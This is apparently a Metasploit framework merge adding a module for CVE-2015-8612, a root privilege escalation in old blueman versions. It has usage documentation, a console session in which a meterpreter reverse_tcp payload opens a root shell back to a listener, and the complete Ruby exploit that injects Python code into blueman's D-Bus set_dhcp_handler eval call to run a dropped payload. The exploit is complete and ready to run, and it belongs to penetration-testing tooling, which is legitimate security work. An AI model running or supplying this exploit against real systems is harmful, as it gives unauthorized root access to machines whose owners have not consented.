land #11169 blueman priv esc on linux
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## Description
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This module attempts to gain root privileges by exploiting a Python
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code injection vulnerability in blueman versions prior to 2.0.3.
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The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
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`set_dhcp_handler` function which uses user input in a call to `eval`,
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without sanitization, resulting in arbitrary code execution as root.
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This module has been tested successfully with blueman version 1.23
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on Debian 8 Jessie (x64).
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## Vulnerable Application
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This module has been tested successfully with:
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* blueman version 1.23 on Debian 8 Jessie (x64)
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Old versions of the `blueman` package are available in [Debian snapshots](https://snapshot.debian.org/).
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The following `/etc/apt/sources.list` configuration will allow a vulnerable
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version of the `blueman` package to be installed:
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```
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deb [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
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deb-src [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
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```
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Update the package sources with `apt-get -o Acquire::Check-Valid-Until=false update`
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The package can be installed with `apt-get install blueman`
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## Verification Steps
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1. Start `msfconsole`
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2. Get a session
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3. `use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc`
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4. `set SESSION [SESSION]`
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5. `check`
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6. `run`
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7. You should get a new *root* session
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## Options
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**SESSION**
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Which session to use, which can be viewed with `sessions`
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**WritableDir**
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A writable directory file system path. (default: `/tmp`)
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## Scenarios
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```
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msf5 > use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
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msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set session 1
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session => 1
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msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
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payload => linux/x64/meterpreter/reverse_tcp
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msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set lhost 172.16.191.188
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lhost => 172.16.191.188
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msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > run
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[*] Started reverse TCP handler on 172.16.191.188:4444
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[*] Writing '/tmp/.DKJWL0TG7sm0M5' (249 bytes) ...
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[*] Executing payload...
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[*] Sending stage (861348 bytes) to 172.16.191.156
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[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.156:58863) at 2018-12-24 02:44:25 -0500
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[+] Deleted /tmp/.DKJWL0TG7sm0M5
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meterpreter > getuid
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Server username: uid=0, gid=0, euid=0, egid=0
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meterpreter > sysinfo
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Computer : debian-8-1-x64.local
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OS : Debian 8.1 (Linux 3.16.0-4-amd64)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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meterpreter >
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```
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@ -0,0 +1,161 @@
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Post::Linux::Priv
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include Msf::Post::Linux::System
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'blueman set_dhcp_handler D-Bus Privilege Escalation',
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'Description' => %q{
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This module attempts to gain root privileges by exploiting a Python
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code injection vulnerability in blueman versions prior to 2.0.3.
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The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
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`set_dhcp_handler` function which uses user input in a call to `eval`,
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without sanitization, resulting in arbitrary code execution as root.
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This module has been tested successfully with blueman version 1.23
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on Debian 8 Jessie (x64).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'the grugq', # Discovery and exploit
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'bcoles' # Metasploit
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],
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'DisclosureDate' => '2015-12-18',
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'References' =>
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[
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['BID', '79688'],
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['CVE', '2015-8612'],
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['URL', 'https://twitter.com/thegrugq/status/677809527882813440'],
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['URL', 'https://github.com/blueman-project/blueman/issues/416'],
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['URL', 'https://www.openwall.com/lists/oss-security/2015/12/18/6'],
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['URL', 'https://www.debian.org/security/2015/dsa-3427'],
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['URL', 'https://bugs.mageia.org/show_bug.cgi?id=17361'],
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['URL', 'http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085']
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],
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'Platform' => ['linux'],
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'Arch' =>
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[
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ARCH_X86,
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ARCH_X64,
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ARCH_ARMLE,
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ARCH_AARCH64,
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ARCH_PPC,
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ARCH_MIPSLE,
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ARCH_MIPSBE
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],
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'SessionTypes' => ['shell', 'meterpreter'],
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'Targets' => [['Auto', {}]],
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'DefaultTarget' => 0))
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register_advanced_options [
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OptBool.new('ForceExploit', [false, 'Override check result', false]),
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OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
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]
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end
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def base_dir
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datastore['WritableDir'].to_s
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end
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def upload(path, data)
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print_status "Writing '#{path}' (#{data.size} bytes) ..."
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rm_f path
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write_file path, data
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register_file_for_cleanup path
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end
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def upload_and_chmodx(path, data)
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upload path, data
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chmod path
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end
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def dbus_send(dest:, type:, path:, interface:, contents:)
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cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
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end
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def check
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unless command_exists? 'dbus-send'
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vprint_error 'dbus-send is not installed. Exploitation will fail.'
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return CheckCode::Safe
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end
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vprint_good 'dbus-send is installed'
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res = dbus_send(
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dest: 'org.blueman.Mechanism',
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type: 'method_call',
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path: '/',
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interface: 'org.freedesktop.DBus.Introspectable.Introspect',
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contents: ''
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)
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unless res.include? 'EnableNetwork'
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vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available'
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return CheckCode::Safe
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end
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vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'
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res = execute_python('')
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unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
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vprint_error 'Target is not vulnerable'
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return CheckCode::Safe
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end
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CheckCode::Vulnerable
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end
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def execute_python(code)
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dbus_send(
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dest: 'org.blueman.Mechanism',
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type: 'method_call',
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path: '/',
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interface: 'org.blueman.Mechanism.EnableNetwork',
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contents: "'string:[]' 'string:[]' 'string:#{code}'"
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)
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end
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def exploit
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unless check == CheckCode::Vulnerable
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unless datastore['ForceExploit']
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fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
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end
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print_warning 'Target does not appear to be vulnerable'
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end
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if is_root?
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unless datastore['ForceExploit']
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fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
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end
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end
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unless writable? base_dir
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fail_with Failure::BadConfig, "#{base_dir} is not writable"
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end
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payload_name = ".#{rand_text_alphanumeric 10..15}"
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payload_path = "#{base_dir}/#{payload_name}"
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upload_and_chmodx payload_path, generate_payload_exe
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print_status 'Executing payload...'
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res = execute_python "os.system(\"#{payload_path}&\")"
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vprint_line res
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unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
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fail_with Failure::NotVulnerable, 'The target is not vulnerable'
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end
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if res.include? 'SyntaxError:'
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fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
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end
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end
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end
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